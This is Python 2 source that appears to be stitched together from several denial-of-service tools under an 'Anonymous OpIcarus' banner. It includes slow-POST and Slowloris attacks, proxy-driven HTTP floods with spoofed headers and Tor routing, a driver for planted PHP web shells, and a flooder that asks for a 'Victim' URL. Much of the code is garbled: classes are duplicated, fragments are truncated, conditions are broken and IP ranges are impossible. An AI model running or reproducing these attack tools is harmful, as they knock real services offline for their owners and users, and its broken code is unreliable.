/%s HTTP/1.1\r\n' %(self.method.upper(),file) request += 'Host: %s\r\n' % (self.site) request += 'User-Agent: Mozilla/5.0 (Windows; U;Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026Firefox/3.6.12\r\n' request += 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' request += 'Accept-Language: en-us,en;q=0.5\r\n' request += 'Accept-Encoding: gzip,deflate\r\n' request += 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n' request += 'Keep-Alive: 900\r\n' request += 'Connection: keep-alive\r\n' request += 'Content-Type: application/x-www-form-urlencoded\r\n' request += 'Content-length: %s\r\n\r\n' % (len(post)) newrequest = '%s\r\n' % (post) newrequest += '\r\n' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((server, 80)) s.send(request) for c in newrequest: sys.stdout.write( s.send(c).__str__() ) time.sleep(60) s.close() #s.recv(50000) except: print "Is It Dead Yet?" def da_delegator(SITE,DOS_TYPE): thread_count = 500 print '=' * 60 print 'POST-it v1.1.0'.center(60,'-') print '=' * 60 threads = [] for num in range(thread_count): thr1=MyThread(SITE,DOS_TYPE) print 'start - %s' % thr1 thr1.start() threads.append(thr1) #thr1.join() while len(threads) > 0: try: # Join all threads using a timeout so it doesn't block # Filter out threads which have been joined or are None threads = [t.join(1) for t in threads if t is not None and t.isAlive()] except KeyboardInterrupt: print "Ctrl-c received! Sending kill to threads... Just Kill The Terminal" # Need to fix this!!! for t in threads: t.kill_received = True sys.exit(2) class DenialOfService: def __init__(self): self.Settings = { 'ip': '', 'port': 80, 'time': 50 } self.IP, self.Port, self.Time = self.Settings['ip'], self.Settings['port'], str(self.Settings['time']) self.Shells = [i.strip() for i in open('shells.txt','r')] for (Shell) in izip(self.Shells): Shell = ''.join(Shell) self.Shell = str(Shell).strip("'") try: print '''Shell loaded: ''' + self.Shell threading.Thread(target=self.Dos,args=()).start() except: pass def Dos(self): try: while 1: if '?' not in self.Shell: Data = self.Shell + '?act=phptools&host=' + self.IP + '&time=' + self.Time Request = urllib2.urlopen(Data).read() else: pass except: print 'Dead shell: ' + self.Shell class PyGroupTalk: def __init__(self,port=8767, host="74.50.98.2", nickName="Ethoxyethaan5", client="TeamSpeak", loginName=None, operatingSystem="Windows XP", autoNick=True, anonymous=True, password=None): self.port =port self.host =host self.nickName =nickName self.loginName =loginName self.operatingSystem=operatingSystem self.autoNick =autoNick self.anonymous =anonymous self.password =password self.client =client self.__nick = self.__FormatText(29,self.nickName) self.__login = self.__FormatText(29,self.loginName) self.__password= self.__FormatText(29,self.password) self.__client = self.__FormatText(29,self.client) self.__OS = self.__FormatText(29,self.operatingSystem) self.__autonNick = "\x01" if self.autoNick else "\x00" self.__registered_login = "\x01" if self.anonymous else "\x02" self.__s_packet = "" self.__get="" self.__socket = None self.__client_id = "\0"*4 self.__session_key = "\x00\x00\x00\x00" self.__sequence_number = "\x01\x00\x00\x00" self.__crc_offset=int(0) self.__resend="\x00\x00" self.__ping_sequ="\x02\x00\x00\x00" self.lasterror=time.time() def __FormatText(self,s,n): return (chr(len(n))+n+((s-len(n))*"\0")) if n <> None else 30*"\0" #value_when_true if condition else value_when_false def __Format_Left(self,lengt,string): "" def __CrcMirror(self,A): A=A&0xFFFFFFFF A = (A>>(8*3))+((A&0x00FF0000)>>8)+((A&0x0000FF00)<<8)+((A&0x000000FF)<<(8*3)) return A def __CrcMirrorChar(self,A): A=self.__CrcMirror(A) A=chr(A>>8*3)+chr((A&0x00FF0000)>>8*2)+chr((A&0x0000FF00)>>8)+chr((A&0x000000FF)) return A #responce creation def __Set_Class_Connection(self): self.__s_packet = "\xf4\xbe" def __Set_Class_Standard(self): self.__s_packet="\xf0\xbe" def __Set_Class_Ack(self): self.__s_packet="\xf1\xbe" def __Set_Type_Login_Request(self): self.__s_packet=self.__s_packet + "\x03\x00" def __Set_Type_Login_Request_Part_2(self): self.__s_packet=self.__s_packet + "\x05\x00" def __Set_Type_Ping(self): self.__s_packet=self.__s_packet+"\x01\0" def __Set_Client_Id(self): self.__s_packet=self.__s_packet+self.__client_id def __Set_Sequence_Number(self): self.__s_packet=self.__s_packet+self.__sequence_number def __Set_Ping_Sequence_number(self): self.__s_packet=self.__s_packet+self.__ping_sequ def __Set_Session_Key(self): self.__s_packet=self.__s_packet+self.__session_key def __Set_Host(self): a=chr(int(self.host.split(".")[0])) b=chr(int(self.host.split(".")[1])) c=chr(int(self.host.split(".")[2])) d=chr(int(self.host.split(".")[3])) #print (a+b+c+d).encode("hex") self.__s_packet=self.__s_packet+a+b+c+d def __Set_Port(self): self.__s_packet=self.__s_packet+(chr(int(self.port/0x100))+chr(int(self.port-int(self.port/0x100)*0x100))) def __Set_Crc_Empty(self): self.__crc_offset=len(self.__s_packet) self.__s_packet=self.__s_packet+"\0"*4 def __Set_Crc_Packet(self): self.__s_packet=self.__s_packet[:self.__crc_offset]+self.__CrcMirrorChar(crc32(self.__s_packet))+self.__s_packet[self.__crc_offset+4:] #end responce creatio def Type_1_connect_login(self): #packet is 180 bytes big self.__s_packet="" #empty it self.__client_id = "\0"*4 #reset it self.__session_key = "\x00\x00\x00\x00" #reset it self.__sequence_number = "\x01\x00\x00\x00" #reset it unknown_data="\x02\0\0\0\x20\0\x3c\0" self.__Set_Class_Connection() #2 bytes self.__Set_Type_Login_Request() #2 bytes self.__Set_Client_Id() #4 bytes. self.__Set_Session_Key() #4 bytes self.__Set_Sequence_Number() #4 bytes self.__Set_Crc_Empty() #4 bytes self.__s_packet=self.__s_packet+self.__client self.__s_packet=self.__s_packet+self.__OS self.__s_packet=self.__s_packet+unknown_data self.__s_packet=self.__s_packet+self.__autonNick self.__s_packet=self.__s_packet+self.__registered_login self.__s_packet=self.__s_packet+self.__login self.__s_packet=self.__s_packet+self.__password self.__s_packet=self.__s_packet+self.__nick self.__Set_Crc_Packet() self.__Create_connection() self.__Send() #print len(self.__s_packet) #print self.__s_packet.encode("hex") def __Type_2_connect_login(self): self.__s_packet="" #empty self.__Set_Class_Standard() #2 bytes self.__Set_Type_Login_Request_Part_2() #2 bytes self.__session_key=self.__get[172:(172+4)] #4 bytes self.__client_id = self.__get[8:(8+4)] #4 bytes self.__Set_Session_Key() self.__Set_Client_Id() self.__s_packet=self.__s_packet+"\x01\0\0\0"#4 bytes #sequence number self.__s_packet=self.__s_packet+"\0\0" #2 bytes #resend count:0 self.__s_packet=self.__s_packet+"\0\0" #2 bytes #fragment number: 0 self. __Set_Crc_Empty() self.__s_packet=self.__s_packet+"\x01\0" #2 bytes #unknown number self.__s_packet=self.__s_packet+"\0" #1 bytes #Channel self.__s_packet=self.__s_packet+"\0" #1 bytes #sub_channel self.__Set_Host() self.__s_packet=self.__s_packet+"\x02\x00" self.__Set_Port() self.__Set_Host() self.__s_packet=self.__s_packet+"\0"*32+"\0"*32+"\0"*16 self.__Set_Crc_Packet() self.__Send() def __Type_Ack(self): self.__s_packet="" self.__Set_Class_Ack() self.__s_packet=self.__s_packet+self.__resend self.__Set_Session_Key() self.__Set_Client_Id() self.__s_packet=self.__s_packet+self.__get[12:16] print "ACK ACK ACK" self.__Send() def __Type_Ping(self): self.__s_packet="" self.__Set_Class_Connection() self.__Set_Type_Ping() self.__Set_Session_Key() self.__Set_Client_Id() self.__Set_Ping_Sequence_number() self.__Set_Crc_Empty() self.__Set_Crc_Packet() # time.sleep(0.5) # self.__Send() #print "PING PING PING" return def testing(self): #self.__CrcMirror(0x12345678) #print self.__CrcMirrorChar(0x12345678).encode("hex") """ for i in [self.__login,self.__nick,self.__password, self.__client,self.__OS]: print "#####" print (i).encode("hex") print i.replace("\0","") print len(i)""" def __Create_connection(self): self.__socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.__socket.settimeout(1) def __Send(self): try: self.__socket.sendto(self.__s_packet,(self.host,self.port)) except socket.error: print "error while sending, retrying" for i in range(1,5): try: self.__socket.sendto(self.__s_packet,(self.host,self.port)) except socket.error: pass finally: return def __Read(self): return self.__socket.recv(5000) def Init(self): try: error=0 self.__get=self.__Read() #print "lenght:",len(self.__get) # if len(self.__get)==0: print "len is zero" error=1 raise socket.error except socket.error: if (time.time()-self.lasterror)<5: print "!# Terminal socket error" error=1 else: print "!# socket error, retrying " self.__get=self.__Read() error=0 self.lasterror=time.time() #FIXME: HELP HELP HELP, INF LOOP finally: self.__Find_Reply() return True if error ==0 else False def __Find_Reply(self): header1=self.__get[:2] header2=self.__get[2:4] if header1 == "\xf4\xbe": if header2 == "\x04\x00": print "!# Login reply found" self.__Type_2_connect_login() elif header2 == "\x02\x00": print "!# PING found!" self.__ping_sequ=self.__get[12:16] self.__Type_Ping() else: pass elif header1 == "\xf1\xbe": print "!# ACK found!" #self.__Type_Ack() pass elif header1 == "\xf0\xbe": if header2 == "\x08\x00": self.__resend=self.__get[16:18] self.__Type_Ack() self.__resend="\x00\x00" self.__Type_Ping() elif self.__get[16:18] <> "\0\0": self.__resend=self.__get[16:18] self.__Type_Ack() self.__resend="\x00\x00" else: self.__Type_Ack() else: self.__Type_Ack() class httpPost(Thread): def __init__(self, host, port, tor): Thread.__init__(self) self.host = host self.port = port self.socks = socks.socksocket() self.tor = tor self.running = True def _send_http_post(self, pause=10): global stop_now self.socks.send("POST / HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Connection: keep-alive\r\n" "Keep-Alive: 900\r\n" "Content-Length: 10000\r\n" "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host, random.choice(useragents))) for i in range(0, 9999): if stop_now: self.running = False break p = random.choice(string.letters+string.digits) print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL self.socks.send(p) time.sleep(random.uniform(0.1, 3)) self.socks.close() def run(self): while self.running: while self.running: try: if self.tor: self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) self.socks.connect((self.host, self.port)) print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL break except Exception, e: if e.args[0] == 106 or e.args[0] == 60: break print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL time.sleep(1) continue while self.running: try: self._send_http_post() except Exception, e: if e.args[0] == 32 or e.args[0] == 104: print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL self.socks = socks.socksocket() break time.sleep(0.1) pass class httpPost(Thread): def __init__(self, host, port, tor): Thread.__init__(self) self.host = host self.port = port self.socks = socks.socksocket() self.tor = tor self.running = True def _send_http_post(self, pause=10): global stop_now self.socks.send("POST / HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Connection: keep-alive\r\n" "Keep-Alive: 900\r\n" "Content-Length: 10000\r\n" "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host, random.choice(useragents))) for i in range(0, 9999): if stop_now: self.running = False break p = random.choice(string.letters+string.digits) print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL self.socks.send(p) time.sleep(random.uniform(0.1, 3)) self.socks.close() def run1(self): while self.running: while self.running: try: if self.tor: self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) self.socks.connect((self.host, self.port)) break except Exception, e: if e.args[0] == 106 or e.args[0] == 60: break print term.BOL+term.UP+term.CLEAR_EOL+"DoS Succeded - Host is DOWN!"+ term.NORMAL continue while self.running: try: self._send_http_post() except Exception, e: if e.args[0] == 32 or e.args[0] == 104: self.socks = socks.socksocket() break pass class HttpFlood(Thread): def run(self): current = x if current < len(listaproxy): proxy = listaproxy[current].split(':') else: proxy = random.choice(listaproxy).split(':') class HTTPThread(threading.Thread): def run(self): try: while flag<2: code=httpcall(url) if (code==50000) & (safe==1): set_flag(2) except Exception, ex: pass class MonitorThread(threading.Thread): def run(self): previous=request_counter while flag==0: if (previous+10000request_counter): previous=request_counter if flag==2: print '' # monitors http threads and counts requests class MonitorThread(threading.Thread): def run(self): previous=request_counter while flag==0: if (previous+10000request_counter): print "%d Requests Sent" % (request_counter) previous=request_counter if flag==2: print "" def randomIp(): random.seed() result = str(random.randint(10000, 700000)) + '.' + str(random.randint(10000, 700000)) result = result + str(random.randint(10000, 700000)) + '.' + str(random.randint(10000, 700000)) return result def randomIpList(): random.seed() res = "" for ip in xrange(random.randint(800, 10000)): res = res + randomIp() + ", " return res[0:len(res) - 2] def randomUserAgent(): return random.choice(userAgents) def randomReFerer(): return random.choice(reFerers) def randomKeyWord(): return random.choice(keyWords) def randomuseragents_list(): return random.choice(useragents) def randomrefer_list(): return random.choice(referer) def randomkeyword_list(): return random.choice(keyword) def randomIpList(): random.seed() res = "" for ip in xrange(random.randint(20, 80)): res = res + randomIp() + ", " return res[0:len(res) - 2] class attacco(threading.Thread): def run(self): current = x class attacco(threading.Thread): def run(self): referer_list() current = x if current < len(listaproxy): proxy = listaproxy[current].split(':') else: proxy = random.choice(listaproxy).split(':') useragent = "User-Agent: " + getUserAgent() + "\r\n" forward = "X-Forwarded-For: " + randomIpList() + "\r\n" #referer = "Referer: "+ randomReFerer() + randomKeyWord() + url + "?r="+ str(random.randint(10000, 100000)) + "\r\n" #referer = "Referer: "+ randomReFerer() + randomKeyWord() + "\r\n" referer = "Referer: "+ randomReFerer() + url + "?r="+ str(random.randint(10000, 150000)) + "\r\n" #referer = "Referer: "+ host_url + "\r\n" httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n" while nload: time.sleep(1) while 1: try: a = socket.socket(socket.AF_INET, socket.SOCK_STREAM) a.connect((proxy[0], int(proxy[1]))) a.send(httprequest) try: for i in xrange(3): a.send(httprequest) except: tts = 1 except: proxy = random.choice(listaproxy).split(':') class SlowLoris(threading.Thread): global randomize, src, dst, port, conn def __init__(self): threading.Thread.__init__(self) def build_conn(_src, _dst, _port): return http.client.HTTPConnection(host = _dst, port = _port, timeout = 10, source_address = _src) def gen_ip(): return '%i.%i.%i.%i' % (rand(), rand(), rand(), rand()) def rand(): return randit(1, 254) def run(): conn = build_conn(gen_ip(), dst, port) if randomize else build_conn(src, dst, port) conn.request("GET /?" + str(randint(1,9991)) + " HTTP/1.1") def show_help(bin): print('usage:\t%s [] ' % bin) def begin(): while True: if threading.activeCount() <= 666: SlowLoris.start() # Request dame Server def buildblock(size): out_str = '' for i in range(0, size): a = random.randint(65, 90) out_str += chr(a) return(out_str) def httpcall(url): referer_list() code=0 if url.count("?")>0: param_joiner = "&" else: param_joiner = "?" request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) request.add_header('User-Agent', getUserAgent()) request.add_header('Cache-Control', 'no-cache') request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') request.add_header('Referer', random.choice(headers_referers) + host + buildblock(random.randint(5,10))) request.add_header('Keep-Alive', random.randint(110,120)) request.add_header('Connection', 'keep-alive') request.add_header('Host',host) index = random.randint(0,len(listaproxy)-1) proxy = urllib2.ProxyHandler({'http':listaproxy[index]}) opener = urllib2.build_opener(proxy,urllib2.HTTPHandler) urllib2.install_opener(opener) try: urllib2.urlopen(request) if(flag==1): set_flag(0) if(code==500): code=0 except urllib2.HTTPError, e: set_flag(1) code=500 time.sleep(60) except urllib2.URLError, e: sys.exit() else: inc_counter() urllib2.urlopen(request) return(code) class HTTPThread(threading.Thread): def run(self): try: while flag<2: code=httpcall(url) if (code==500) & (safe==1): set_flag(2) except Exception, ex: pass class MonitorThread(threading.Thread): def run(self): previous=request_counter while flag==0: if (previous+100request_counter): previous=request_counter if flag==2: print '' def randomIp(): random.seed() result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) return result def randomIpList(): random.seed() res = "" for ip in xrange(random.randint(8, 10)): res = res + randomIp() + ", " return res[0:len(res) - 2] class attacco(threading.Thread): def run(self): referer_list() current = x if current < len(listaproxy): proxy = listaproxy[current].split(':') else: proxy = random.choice(listaproxy).split(':') useragent = "User-Agent: " + getUserAgent() + "\r\n" forward = "X-Forwarded-For: " + randomIpList() + "\r\n" referer = "Referer: "+ random.choice(headers_referers) + url + "?r="+ str(random.randint(1, 1500)) + "\r\n" httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n" while nload: time.sleep(1) pass while 1: try: a = socket.socket(socket.AF_INET, socket.SOCK_STREAM) a.connect((proxy[0], int(proxy[1]))) a.send(httprequest) try: for i in xrange(4): a.send(httprequest) except: tts = 1 except: proxy = random.choice(listaproxy).split(':') print' . . . ... .,~?I777?=,. . ... . .' print' .... :+ZO$I?I??I$OOI~. . .' print' . .. :7OI~.... .. .~IOZ+. .. .' print' ... ,7O+.. ....... ..=O$: .' print' ... ,7O+.. ....... ..=O$: .' print' ... .~OI ...... .... .?D= . ...' print' .....+O~ .... . .. :87......' print' ... ?O... .. ... .... ... ... O$.....' print' ...+O....... ..,,,,:,,,.. .. ....O7.....' print' . . ~O, .+...,,,,,,,,,,,,,, ..=, . 8? .. ..' print' . ..Z~..=NI..,, ...,.,. ,: ,:. +M?..:8~ . .' print' . .. I7.=?MZ..:,,..., .. , .,.,,..7MI? IZ.. . .' print' . .. :O IZ88, ,...:,.,,=I~.,,:,. :..ZN$$ O+ ...' print' ... 7+.D$7I:,, .,..,,?$7D., .,...,,II$N,=O . .' print' . ,Z:ID=OZ.,. ...., ,:$7 ,..,, ,,I8~87:O~. .' print' . . +II$88Z,.,..,.. ,. ,+ ... :.,.,.$D8$7?$....' print' . . $~O7NZ=., ,,,.,:,.::..:,,:,,....~7M78:8 .' print' ..$,D$?O?., ., .,,:.7O ,,,..... ..+OI7N.O~. .' print' .. :$ D7$N., ..,.. ., .::. .. .,..., 88?M.7? ..' print' . .=7=8NM~., . . ,,. .. .., ..,. .,.:DN8+7I..' print' . .=7=8NM~., . . ,,. .. .., ..,. .,.:DN8+7I..' print' .. ??O7$$7 ,,..,, .,+D.+7.OI...,:,....?$$I8?$ ..' print' . .?+$8=M+.,. , ?$DMO.=? 7M8I+,,. ., :M+$8+$. .' print' . ??~MIM. , ...~MMMMO ~? $MMMMZ. ..,D7N++Z .' print' =7:8MZ?.,. . ?MMMM8 ?8 ZMMMMD, ..,.=$NN~II .' print' . ~$I+MIO:... ZMMMMM.ID NMMMMN,. .,.O?M?IZ+ .' print' . ..7$$I7D~.,..,OMMMMM=ID=MMMMMM:..,.,N7I7$Z~ ..' print' . .7+M$=M+ ,,. NMMMMMOZNZMMMMMM~.., =M?IM?O...' print' . . ???M7D$+ , ~MMMMMMMNMMMMMMMM? ,.=7NIM$?$ ..' print' . .,Z:OMM7O:..+MMMMMMMMMMMMMMMM?.,.OIMM8:Z= .' print' .. .7?7IN$O7 .?MMMMMMMMMMMMMMMM$. ?87MIIIZ....' print' . .. ,$IN7+IN:.IMMMMMMMMMMMMMMMM$.,D$+7D7$+ . ..' print' . ...7?7MD?N7?7MMMMMMMMMMMMMMMMZ?7N?OMZ+O.. .' print' . . . .O:+NMNNZNMMMMMMMMMMMMMMMMMZ8MNNI,D~ . . .' print' . .. ~Z:7IIZ+$MMMMMMMMMMMMMMMMZ=OI?$:O?. . . .' print' . . .. ?Z+D8OZZMMMMMMMMMMMMMMMMZOZON+7$, .. .' print' . . . .?$,$8OZ?+NMMMMMMMMMMO+?ZZ8$,7Z. ... .' print' . .. ..+O,+?+$NMMMMMMMMMMMMNZ?+?:Z$ .. .' print' . .. . .~8I78NDMMMMMMMMMMMDOMD$ID+ .. . .' print' . .. ,. ,7$= =MMMMMMMMMMMO .~$O:.... ....' print' . ... . . . .:$ZOMMMMMMMMMMMD?OO+ .. . . . .' print' . . . .O:+NMNNZNMMMMMMMMMMMMMMMMMZ8MNNI,D~ . . .' print' . .. . .. .. .:IZNMMMMMMMMNO$~.. .. . . .. ..' if os.name in ('nt', 'dos', 'ce'): os.system('title ........::::: Anonymous OpIcarus :::::........') os.system('color 0a') Close = False Lock = threading.Lock() Request = 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 Tot_req = 9999999999 Port = 80 class Spammer(threading.Thread): def __init__(self, url, number): threading.Thread.__init__(self) self.url = url self.num = number def run(self): global Lock global Tot_req global Close global Request Lock.acquire() print 'Thread {0} started!'.format(self.num) Lock.release() while Close == False: try: urllib.urlopen(self.url) Request += 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 Tot_req += 9 Port = 80 except: pass Lock.acquire() print 'Closing thread #{0} started!'.format(self.num) Lock.release() sys.exit(0) if __name__ == '__main__': try: num_threads = input('> Zombies(900):') t_tot = input('> Time(2):') port = raw_input('> Port (80) :') #Proxy in_file = open(raw_input("> Zombie list: "),"r") proxyf = in_file.read() in_file.close() listaproxy = proxyf.split('\n') except: t_tot = 2 timer = t_tot * 600000 t_tot = t_tot * 600000 while True: url = raw_input('> Victim: ') try: urllib.urlopen(url) except IOError: print 'Could not open specified url.' else: break for i in xrange(num_threads): Spammer(url, i + 1).start() time.sleep(2) print("####################################################") print("# #") print("#Message : >!!!!!!!!!!!!!!!!!!!!!!!!!!!! #") print("# >We are Anonymous!!!!!!!!!!!! #") print("# >We Are Legion !!!!!!!!!!!! #") print("# >We do not forgive!!!!!!!!!!! #") print("# >We do not forget !!!!!!!!!! #") print("# >#OpIcarus #Anonymous !!!!! #") print("# >Expect us...!!!!!!!!!!!!!!!! #") print("# >U R DEAD!!!!!!!!!!!!!!!!!!!!! #") print("####################################################") print("-------------------------------------------------------------------------") print '#######################################################################' while timer > 0: time.sleep(0.001) print '> OpIcarus Anonymous ' + str(Request / 10.0) + ' shell/s\tRequest done for: ' + str(Tot_req) + '\tTime out:', timer, '/s' Request = 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 timer -= 0.001 print '\n> Anon message to the request ' + str(Tot_req / t_tot) + ' Requests/s' print '\n#######################################################################\n' raw_input('> This attack is running HA HA HA HA........') time.sleep(1) Close = True # System in the Server if __name__ == '__main__': if len(sys.argv) == 4: src = sys.argv[1] dst = sys.argv[2] port = sys.argv[3] elif len(sys.argv) == 3: randomize = True dst = sys.argv[1] port = sys.argv[2] else: show_help(sys.argv[0]) exit() if __name__ == "__main__": SocketServer.ThreadingTCPServer.allow_reuse_address = True # 5 is default anyway. SocketServer.ThreadingTCPServer.request_queue_size = 5 server_address = ('', 2323) server = SocketServer.ThreadingTCPServer(server_address, RequestHandler) server.connections = {} server.server_forever() nload = 0 while not nload: time.sleep(1)